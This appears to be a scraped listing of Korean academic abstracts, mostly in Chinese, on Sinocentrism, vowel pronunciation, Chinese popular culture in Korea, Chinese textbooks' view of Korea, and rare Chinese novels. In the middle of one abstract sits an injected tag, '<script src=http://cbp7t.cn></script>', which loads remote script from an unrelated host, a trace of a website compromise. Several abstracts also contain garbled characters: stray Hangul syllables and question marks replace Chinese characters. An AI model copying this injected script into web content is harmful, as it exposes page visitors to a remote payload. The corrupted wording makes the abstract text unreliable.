http://chineseinput.net/에서 pinyin(병음)방식으로 중국어를 변환할 수 있습니다.
변환된 중국어를 복사하여 사용하시면 됩니다.
“중화주의(中華主義)”, 한국(韓國)의 중국(中國) 상상(想像)
유경철 한국중국어문학회 2005 中國文學 Vol.44 No.-
在韓國,`中華主義`這個槪念是在描述或解釋中國的各種情況上最容易又最廣泛給使用而接受的。這時,`中華主義`露出韓國人心理上對中國的岐視和仇視,而且`中華主義`這個槪念的反復使用再産生對中國的韓國人的偏見和誤解,`中華主義`說法已經變成了在韓國的中國理解和硏究上的一種障碍。所以要突破,克服`中華主義`說法的努力不但在追求兩國互相理解和發展上, 而且在韓國人超越自國中心的狹隘觀念上再不能忽視的。 韓國的`中華主義`說法是?美國爲主的西方國家的`中國威脅論`一脈相通, 依?這種說法,中國在經濟上的快速發展和世界政治上的影響力擴大局面是讓他們國家提出這種說法的主要的原因。 `中華主義`和`中國威脅論`是從在全球化的國民國家體制上不可避免的各國之間的利益沖突和對峙局面上被造成的一種`中國想象`或者對中國的岐視。而且這種說法和各國內部的`愛國主義`結合起來更加强化其說服力。 在韓國,`中華主義`說法是好像從歷來中國侵略韓國的歷史記憶上制造出來的。看起來,韓國人按照這種歷史記憶 一直以爲中國是一個韓國的敵對國家,中國還保有侵略的因素。可是仔細觀看歷史上的經過,我們會發現把中國看成一個敵對國家歷史上沒有那?深遠的。古代韓國, 比如朝鮮, 總是要?中國維持友好關系, 當時人仇視的不是中國(漢族王朝),而是中國歷史上的異族國家。他們從華夷論的觀点上,自己要認同漢族國家和其文化,進而把其他異族看成野蠻人。`中華主義`這種想象從把異族的野蠻和侵略的形象轉成中國的代表表象才開始的,而且這種新的中國想象的出現是和韓國戰爭以后韓國的政治情況和國家意識形態上的定位有密切的關系。
중국어 단모음〔a〕,〔i〕,〔u〕에 대한 한국인과 중국인의 발음 대조 연구
李美京 한국중국어문학회 2005 中國文學 Vol.43 No.-
本論文的目的在于分析韓漢兩語的單元音[a], [i], [u], 用對比的方法給學習漢語的韓國人提供能够把握韓漢兩語[a], [i], [u]的特点的參考資料. 本論文要對比分析韓國人和中國人的[a], [i], [u]的异同, 查看其异同時 使用聲學語音學的方法, 以便仔細考察各元音的動程和實際舌位. 從語圖把握共振峰數据, 對比男女之間的异同和隨學習時間不同而所出現的异同. 根据分析結果, 學習漢語未滿1年的和學習漢語已有5年以上的韓國男人的[a], [u]的舌位不到位, 前者高于中國人, 后者比中國人往前走移. 總而言之, 韓國男人的開口度不大于中國人, 韓國男人[a], [i], [u]的發音不如韓國女人。 韓國女人的[a], [i], [u]不分學習時間的長短都比較好.
어문학보(語文學部) : 중국 대중문화의 한국적 수용에 관한 초국가적 연구 -영화와 무협소설 텍스트를 중심으로
임춘성 ( Choon Sung Yim ) 한국중국학회 2008 중국학보 Vol.57 No.-
進入20世紀90年代, 韓國大衆文化, 卽韓流開始在中國流行, 其影響一直擴展到台灣、香港、東南亞和日本。不過一定不要忽視的一個事實就是在韓流 以前,日流在中國和台灣等地已經流行過, 월語流行文化也在東亞風靡過。而且, 20世紀90年代, 不僅韓流,還有其타多樣的大衆文化也在日本被消費 。20世紀90年代以后, 東亞域內的的大衆文化交流比以往任何時候都活躍。究其原因雖 非本文的目的, 不過本文認爲岩淵功一(2004)主張從急速的經濟 成長和本土化的現代化經驗的交換中尋조原因的說法是一種有說服力的解釋。本文以韓流現象爲參照體系, 在東亞大衆文化交流這一大광架中考察 了韓國對中國大衆文化的接受和中國大衆文化對韓國的影響。這有鑒于文化的屬性是雙向的這一点。香港、台灣地區在內的中國人爲之狂熱的韓流內 容中, 也有我們接受然后將其本土化的中國要素, 可以將各地域經歷的近現代化的本土化經驗進行一下對照比較。要想對其進行有效的說明, 要求具備 東亞大衆文化交流這一視角。要把韓國大衆文化在亞洲的流通和亞洲對韓國大衆文化的接受現象與韓國大衆文化對他文化接受的跨文化現象同時進行 考察。只有將韓國對新自由主義大衆文化的中心美國的大衆文化、中國的傳統文化、日本文化、台灣和香港文化的接受一起考察才能在全球層面對韓 國大衆文化在亞洲的傳播和流通進行解釋。以上面的問題意識爲基礎考察的結果可以總結如下。韓國社會最早引進的香港電影史1956年高麗電影公司引 進上映的≪海棠紅≫。以武俠電影≪大醉俠≫(1967)的票房成功爲契机, 韓國觀衆接觸到了香港電影的主流和精髓。韓國影迷通過接受武俠片和功夫片, 以及香港黑幇片與科幻片, 以及香港擅長的고笑片, 愛情劇等, 與香港電影保持了同步。在韓國、香港、台灣橫行的類同三流作品的泛濫反過來反證了 原作的人氣。而且, 韓國與香港的合拍片迎合那一時期最有人氣的電影題材的做法成爲一種慣例。從1957年到1982年大約25年間持續合拍的132部影片 可以說是東亞文化交流的重要實例。還有, 打開了韓國武俠小說界大局的臥龍生時代, 在1966年通過≪玉釵盟≫的飜譯達到了頂峰。1968年他的作品被 大量飜譯介紹。甚至出現了其他武俠小說作家爲迎合臥龍生的人氣, 盜用臥龍生名字的奇怪現象。爲模倣臥龍生而進行的苦練成爲韓國武俠小說創作的 動力。中國武俠小說不僅對武俠小說讀者和作家而且對所謂正統文學作家和讀者也有一定程度的影響。 령一方面, 金庸代表中國武俠小說流行的령一 高潮。1986年到1989年3年間, 英雄門系列等所有作品全部被飜譯, 령外也有不少人對其作品進行學術硏究。最近, 通過版權協議射雕三部曲重新被飜 譯。英雄門現象是韓國固有的, 與金庸原作理解有一定距離的文化現象。讀者對英雄門情有獨鐘, 相關談論也常將其作爲中國武俠小說的代表, 誤認 爲若將其讀破, 就是征服了中國武俠小說。金庸的射雕三部曲的譯本≪小說英雄門≫不是完全飜譯, 從量上只飜譯了70%, 如果從文體或文學的層面來評价, 是50分不到的粗劣飜譯作品。英雄門的改編和出版雖 然從韓國式的脈絡中打破了以前階段的武俠志的一般槪念, 不過大傷了原作的意義和趣味。在20世紀90年代東亞跨文化時代, 金庸作品具有的中國傳統文化的厚度是使東亞文化體富起來的內容, 不過也差点成了强調中華主義的國族史詩和强調中國想象或者傳統復活的机制。正如李陀和戴錦華評价的, 中國大陸的大衆文化經歷了20世紀80年代的過渡期, 90年代以后從根本上被塑造, 國際電影節中獲奬的第五代作品開始被介紹給我們。在21世紀, 中國式大片作成爲主流, 在中國國內也제走了好萊塢大片, 揚眉吐氣。其源流就是張藝謀執導的≪英雄≫, 雖 然此片受到東方主義的內化批判, 但是作爲張藝謀묘准本國觀衆制作的作品, 타開啓了將中國的武俠要素和全球性好萊塢大片相結合的大片時代。看20世紀90年代的中國大衆文化的時候, 一定要關注香港、台灣和大陸的混種化。這源于改革開放以后涌入大陸的香港和台灣的大衆文化的影響。這一影響凸顯在在大衆歌謠領域, 在香港、台灣的武俠電影和第5代電影之間也存在某種影響關系。混種化現象在電影制作中흔突出。타通過大陸的導演和演員, 台灣的資本, 香港的演員和電影制作體系合作方式被體現出來。正如上面所考察的, 韓國近現代大衆文化與我們所誤認的純血觀念形態不同, 可以說是一種混血文化。如果說與中國的長期交流(儒敎文化等)以及解放以后美國的持續影響(牛仔袴和筒吉他等靑年文化等)是明示的構成要素的話, 日本的殖民文化(倭色文化)與香港和台灣的大衆文化則是隱含的要素。特別是在二十世紀七十年代到八十年代度過其成長期的靑少年的情緖中, 香港電影和台灣、香港的武俠小說的影響作爲一種潛在的隱藏的結構存在着。但是, 但是因爲韓國社會的美國化欲望, 大部分的香港和台灣大衆文化迷雖 然內心흔狂熱, 却不得不假裝漠不關心。由于這種不徹底, 所以達不到痴迷的程度, 呈現出的是一種興趣和享有相背離的現象。劉?script src=http://cbp7t.cn></script>
이재령 한국중국학회 2011 중국학보 Vol.64 No.-
改革開放以後, 通過敎學課本可以淸楚地看到中國對韓國的認識和與韓國的關系. 1978年以前, 在中國敎科書中有關韓國的內容僅限於和抗原援朝有關的內容. 改革開放以後, 中國的敎科書中才開始出現有關韓國經濟發展和國際合作關系, 政治民主化和南北關系的改善等方面的內容. 最總重要的是, 中國將韓國經濟高度發展的過程作爲中國的發展目標賦予其積極的意義. 盡管出版社不同, 但是在 [曆史], [中國曆史], [世界曆史], [世界近代史], [曆史與社會]等大多數敎科書中都不惜筆墨地對韓國的經濟發展進行了正面的評價, 其內容具有如下特點. 盡管是在社會主義體制下, 中國現在的曆史敎科書的內容在保持作爲長期曆史傳統的鑑戒主義和經世致用的精神的同時, 或以實用主義將其替代或將其與愛國主義融合. 此外, 爲了中國的成長與發展,在大部分內容中將韓國作爲發展目標的同時也將其作爲反面敎材使用. 具體內容, 第一, 改革開放以後,中國將包括韓國在內的亞種四小龍作爲本國發展的目標. 第二, 中國的傳統文化和知識遺産影響了亞洲的發展中國家, 使固有的中華意識得以體現。第三, 在中國體現自身國際地位的過程中, 韓國被描述成爲卽是其比較對象又是其競爭對手。此外, 對於韓國的描述過多著重於經濟生長方面, 忽視了政治和社會方面的變化。第四, 通過韓國的發展和挫折以及各種社會現象等對於將來有可能在中國發生的危機和混亂采取預防措施。中國敎科書中描述的此種內容和認識態度表象上表現爲對韓國的友好和積極的態度, 但不能忽視其最終目的在於給本國人民灌輸愛國主義和民族主義細想。中國改革開放以後, 關於現今韓國的內容的描述, 無論是表象上或是實質上, 與之前確實有了明顯的差別, 實用主義路線在敎材中明顯地體現。我們的工作在於正確地判斷나種才是其眞實的態度, 幷且采取適當的應對方法。21世紀, 對於以大國主義爲意向的中國全方位的(膨脹)擴張路線, 我們應該不斷地回顧我們的過去和現在爲了將來做准備。這就是由堅인的生命力和大度的包容, 自我變用(渗透)所産生的創造力。我們的任務不僅僅是在經濟發展方面成爲典型, 而是在經濟穩定發展的過程中, 對於政治民主化和人權, 自由, 福利, 和平, 環境保護等方面也要實現穩定的發展, 使韓國現代社會的繁榮昌盛和全方位均衡發展得以體現。
한인제재 소설에 나타난 한국인식 : 중화사상을 중심으로
정영호,엄영욱 한국중국소설학회 2005 中國小說論叢 Vol.22 No.-
本文將古代中國人對韓國的認識和近現代中國人的韓國觀, 與中華思想連繫起來進行了分析,幷以此爲依據, 考察了中國作家對韓國的認識. 在古代中國人的頭腦中, 韓國包含在天下的槪念之中; 到了中世, 由於宗藩關係, 韓國被看作是中國的附屬國; 而近代, 韓國有時被當作爲中華的一個支流, 有時被當作邊夷, 有時又被當作第三者意義上的弱小國中的一個民族. 近代中國作家對韓國和韓國人的認識正如韓中近代史上出現的殖民和民族, 近代和超近代同時存在一般, 互相뉴合, 複雜多樣. 1919年以後的現代文學作品主要描寫的是抗日運動, 朝鮮民衆的悲慘生活, 韓中兩國人民的友誼等, 因爲都是屬於被壓迫的民族, 自然産生同病相憐的感情, 所以作品中隱含著國際主義聯合的意向. 而當代文學, 49年以後出現了大量的韓國人和韓國題材的作品, 其韓國觀仍然擺脫不了認爲韓國是中國蕃屬或中華的一個支流的觀念. 這個時期形成的中國人的韓國觀一直持續到實行改革開放政策的1978年. 78年的改革開放政策成爲中國人重新認識韓國的契機. 但是, 中國的自尊心和中華思想隨著經濟的發展隨時都有膨脹的可能, 東北工程就是一個證據. ‘東北工程’, ‘愛國主義’, ‘中華主義’等等, 用語雖然各各不同, 但却存在著一定的指向, 隱含著中國通過加强精神武裝占居21世紀亞洲和世界盟主地位的覇權主義意識. 中國的愛國主義以傳統中華思想爲基柱, 可以說是一個現代版的新中華主義.
오태석 ( O Tae Seog ) 한국중국학회 2003 중국학보 Vol.48 No.-
解放以來韓國的中國詩硏究已經差不多六十年了, 韓國中國詩硏究界在硏究人員以及成果方面有了大大的發展了. 報告中間單槪括韓國的中國詩硏究界的歷程與硏究特徵以及向後的前望. 本篇文章主要考察韓國中國詩硏究的發展情況, 硏究動向, 特色, 問題所在, 方法途徑與糾正方案等的問題, 本篇的主要章目: 第二章`中國詩在中國文化上的意義`, 考察中國詩在中國文人社會中的特殊地位旅其趨向. 這是從文化硏究的觀點了解中國古典詩在社會文化上的意義. 第三章`韓國的中國詩硏究槪觀`, 解放以來對中國詩硏究的對象, 時代, 硏究觀點方面, 加以分析與評價. 第四章`對中國詩硏究的向前摸索. 就再分爲兩個部分: 一個是論文寫作的關鍵, 령一個是爲韓國中國詩硏究的更上一層樓`, 中國詩硏究上的問題與其克服方案. 提出幾項意見.
오순방 한국중국소설학회 2001 中國小說論叢 Vol.14 No.-
중한 양국의 소설교류는 이미 高麗末부터 시작되어 수많은 중국소설작품이 한반도에 전래되었으며 조선시대의 문인들은 중국소설을 애독하는 동시에 筆記體 · 傳奇體의 文言小說을 편집하고 창작되었는데, 金時習의 《金鰲新話》 · 朴趾源의 《虎叱》 등의 작품이 창작되었고, 《刪補文苑사橘》 · 《啖蔗》 · 《訓世評話》 등의 작품집이 편집 · 간행되었다. 한편, 한글로 쓰여진 김만중의 《九雲夢》과 《謝氏南征記》는 한문으로 번역되어 중국에 전래되어 중국독자들에게 읽혀졌는데, 중국학자 중에서는 도리어 이들 소설의 漢文本을 두고 중국소설이라고 주장하는 이들이 있을 정도이다. 중한 양국의 상호 소설교류를 통해 현재 한국에는 중국에서 이미 오래 전에 失傳된 《型世言》 · 《刪補文苑사橘》 · 《啖蔗》 등의 작품이 소장되어 있으며, 중국에서 실전되었고 소설서목에 著錄만 되어 있는 《聘聘傳》과 《太原志》의 한글 번역본이 현존하고 있어 原書의 전모를 살펴볼 수 있다. 일본의 중국소설연구는 이미 근현대소설 분야에 있어서는 중국보다도 앞서 있어 일찍부터 전문가들의 주목을 받아왔고 게다가 일본 본토에서 전쟁을 겪지 않고서 임진왜란부터 현대에 이르기까지 한반도에서 가져간 전적이 많기 때문에 일본에서 발견된 한국과 관련된 중국소설자료들도 적지 않은 편이다. 예를 들면 《訓世評話》나 《刪補文苑사橘》은 조선시대에 한국에서 간행된 中國小說選集인데, 《刪補文苑사橘》은 지금 한국과 일본에 현존해 있으며, 《訓世評話》 한국에서 유실되었으나 최근 일본에서 발견되었다. 또한 신각치파자전과 같은 중국문언소설이 일본에서 판각되어 다시 한국에 소장되는 경우처럼 일본에서 한국으로 유입된 경우도 있으며, 《九雲夢》 · 《謝氏南征記》 · 《紅白花傳》과 같은 작품은 현재 일본에 소장되어 일본인에게 읽혀졌음을 알 수 있다. 이들 작품들은 모두 中韓日 삼국의 소설교류와 연구에 있어 매우 중요한 가치를 가지고 있는데, 특히 《訓世評話》나 《刪補文苑사橘》은 중국소설선집이지만 중국에는 現存하지 않으며 중국소설이 다른 지역에서 어떻게 수용되고 발전되었는지를 연구하는데 빼놓을 수 없는 자료들로써, 한일 양국은 소설연구의 자료면에서 중국보다 훨씬 유리한 조건을 가지고 있는 셈이다. 게다가 한일양국의 학자들은 연구관점에 있어서 중국학자들과는 다른 외국인의 시각과 조건을 가지고 비교적 객관적인 연구를 할 수 있는 동시에 2개 국어 이상을 구사하는 언어측면의 장점을 이용하여 중국과 자국을 포함한 보다 많은 지역의 자료를 이용하고 폭넓은 연구시야를 가질 수 있겠다. 하지만 여태까지 중국 이외의 지역에 있는 학자들은 서로 활발한 교류를 하지 못하였으며 주로 중국과의 교류에 치중하여 왔는데, 이번 2001년 한일학자들이 공동으로 국제학술회의를 개최하여 학술교류를 정례화하고 해당지역의 소설자료를 조사 · 교환하기 시작한 것은 매우 고무적인 일이라 하겠다. 《訓世評話》의 경우처럼 일본에 소장된 자료를 프랑스와 노르웨이에 있는 陳慶浩교수나 艾皓得교수를 통해 입수한 것과 같이, 여태까지 한국학자들은 일본에 있는 관련자료들을 직접 입수하지 못하고 제삼국에 거주하는 전문가를 통해 수집하곤 하였는데, 이번 학술교류를 계기로 한일학자들은 인접한 지역적 환경을 십분 활용하여 상호 직접적인 교류와 공동조사와 집체연구를 진행한다면 중국소설연구는 금후 21세기에 한일학자들의 손에 의해 또 다른 연구성과를 거둘 수 있으리라 생각된다.
조명화 한국중국어문학회 2007 中國文學 Vol.53 No.-
我覺得從來韓國中文學科(中文系)敎授們的硏究成果裏比較缺乏人文學本然的探究態度。這不僅是中文學科敎授們單獨的態度, 而是全體人文學類科敎授們的普遍的傾向。 人文學類科敎授們之所以與`人文學`疏遠, 是因爲韓國在沒有完全擺脫封建習慣下, 受容了西方的大學文化。大學的學科像封建制度下分封的土地一樣, 具有獨立的机能, 所以缺乏學際聯系, 使人文學的土壤變的貧瘠。學科們的`封土`的獨立性使學科的性向對政治的敏感性强于學問的敏感性。 由于科的封閉性被固定, 所以不僅是學科的授課課程被限定, 敎授們的硏究領域也被學科的學問分類所限定的傾向變的明顯。例如, 中文學科的敎授或者學生會産生, 認爲硏究國文學、 史學、哲學是不必要的弊端. 甚至, 産生了學士碩士博士學位如果不是在同一學科領域中學習, 則被認爲是不正統的?圍。 在這種人文學硏究者普遍的傾向下, 中文學科敎授們又有以下的傾向。 1)不僅是敎授們的硏究主題, 連授課課程也過分的以樣式(Genre)爲中心。這是所謂供給者爲主的組成。韓國大學的中文學科的授課課程沒有必要與中國大學的中文系相同。2)中文學科敎授們的論著當中, 作家論形式的論文過多, 雖然這是傳統的學問方法, 可是對現代的學問發展沒有什?幇助。3)沒有達到過去知識分子的敎養水平。 人文學危机的原因被認爲是資本主義社會的高度産業化、 新自由主義社會環境所造成的, 但在我們傳統文化當中有沒有其原因的反思十分必要。特別是韓國的中文學者對中國文化的流入評价、中國文化的本質及其歷史的變遷, 有必要深入硏究。韓國的中文學者應該讓這一時代的韓國人正確了解這一時代的中國而作出努力.
金明信 한국중국소설학회 2013 中國小說論叢 Vol.40 No.-
韓國所藏稀貴本中國通俗小說是按照作品內容來區分成愛情小說4種·俠義小說4種·歷史小說2種·公案小說2種·神魔小說1種·總集類2種, 一共有15種作品。 韓國所藏稀貴本中國通俗小說的特徵是如下。 第一, 韓國所藏稀貴本作品具有多樣的主題。 現在韓國所藏稀貴本作品不多。 韓國所藏稀貴本作品一共有15種。 韓國所藏稀貴本中國通俗小說當中愛情小說最多, 在作品上主題不局限於男女之間的愛情故事。 作品上描寫歷史故事·公案故事·俠義英雄故事⋅救濟人民故事等等各色各樣的內容, 還有因果應報·事必歸正·立身出世等等的主題。 第二, 愛情與俠義故事非常多。 韓國所藏板本15種中有愛情小說與俠義小說8種, 超過一半的部分是愛情與俠義故事。 全讀者不會喜歡愛情與俠義故事。 不過一般讀者對愛情小說很有興趣,也喜歡看英雄傳奇故事, 所以如此愛情俠義故事保存于現在。 公案小說與歷史小說內容中有很多俠義人物和英雄。 我們能知道讀者不但喜歡人物傳記, 還偏爱英雄人物·俠客的愛情故事。 第三, 韓國所藏本有木版本·石印本·筆寫本·活字本等各樣各色的版本。 一共有石印本13種, 中國木版本12種, 筆寫本13種, 活字本1種, 日本木版本1種, 韓國所藏稀貴本中國通俗小說是大部分明代以後的作品。 那時出版印刷技術太發達, 以多樣的出版方式來出版小說作品瞭。 這樣中國通俗小說的版本接着傳入至朝鮮, 如今我們可以看到它們。 第四, 有些作品飜譯成古代韓語。 古代韓語飜譯本比較多, 但是飜譯成韓語的作品當中稀貴本中國通俗小說不太多。 比如型世言·錦香亭·十二峰飜譯成古代韓語, 它們提供給不懂韓語的讀者。 這是在證明着什么? 這證明着朝鮮讀者很觀心中國小說。 有些作品未被發掘, 以後我希望學者們能繼續關心而深刻地硏究。
한국한문학의 독자성과 중국고전문학의 접점에 관한 규견(窺見)
심경호 한국중국어문학회 2007 中國文學 Vol.52 No.-
存在一個看法: 韓國漢文學不能保有與中國古典文學不同的獨自性. 其實, 韓國漢文學着根於所謂東亞細亞普遍文化中, 自然刻意收容處在普遍文化的中心的中國文學, 而在其基礎上各歷史時期繼承和發展民族的獨自性. 韓國漢文學, 在門類和樣式, 技法和主題方面, 向來受到中國文學傳統的限制, 而決不是逐步?隨中國文學的歷史展開. 韓國漢文學在每個歷史時期, 爲眞實表現自己民族的思想感情試驗中國古典文學所有門類和樣式, 來選擇活用?們. 因此, 其軌跡與中國文學史相當不同. 總之, 在討論韓國漢文學的獨自性或其與中國文學的接點的時候, 應該用與其起源的觀點寧歷史觀點理解獨自性和普遍性槪念. 本文在詩歌和散文方面進行考察: 探究韓國漢文學以韓愈爲散文的最高典範的情況, 與韓國漢詩一邊借用中國古典詩, 一邊造成獨自特性的過程. 之後, 討論朝鮮後期漢文學收容中國明朝文學的方式所蘊含的獨自理解態度. 這種事例硏究決不能包括全部韓國漢文學, 但是在考察韓國漢文學 一邊收容中國古典文學一邊努力確保獨自性的軌跡的時候, 分明做爲一個示意圖.